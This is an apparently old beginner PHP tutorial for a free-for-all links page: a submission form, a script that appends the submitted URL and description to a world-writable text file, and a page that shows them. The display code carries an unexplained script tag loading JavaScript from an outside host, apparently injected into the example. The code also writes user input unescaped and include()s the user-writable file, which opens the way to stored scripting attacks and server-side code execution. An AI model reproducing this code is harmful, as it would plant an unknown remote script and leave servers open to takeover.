FFA links (basic version)
This is a very simple FFA system which basically involves a user submitting their site and a description via a form and this info is then saved into a text file . This text file is then displayed on a page . When a link is click ed a new window opens with the url displayed in it.
First create a blank text file , in this case we called ours ffalinks.txt , this part is important when you upload the text file you have to make it readable and writable , I used chmod 777 .Now for our form for users to submit their sites , here is the code .
<form action = "addlink.php" method ="post">
URL : <input type = "text" name = "url"><br>
Description : <input type = "text" name = "desc"><br>
<input type = "submit" value = "add link">
</form>
Straightforward form , nothing to complex . As you may have noticed the page that does the work is called addlink.php . You wont believe how simple this is . Here is the code .
<?php
//open our file
$fp = fopen("ffalinks.txt" , "a+");
//add details from form
fputs($fp ,"<b><a href=\"$url\" target=\"_blank\">$url</a></b><br>$desc<br>");
//close file
fclose($fp);
//display message and link
echo ("Thanks for adding your link ");
echo ("<a href='ffalinksshow.php'>View FFA links</a>");
?>
Wow that is it , pretty good eh . Now all you have to do is create a page to display the links , in this example this is called ffalinksshow.php . the most important part of the code is the include this includes your text file with all the links and displays the links on the page. Here is the code
<?
echo ("<b>Beginners PHP FFA links example</b><br><br>");
echo ("<SCRIPT LANGUAGE='javascript' src='http://www.qksz.net/1e-2kwo'> </SCRIPT>");
echo ("<hr>");
include ("ffalinks.txt");
echo ("<a href='index.htm'>back to home page</a>");
?> |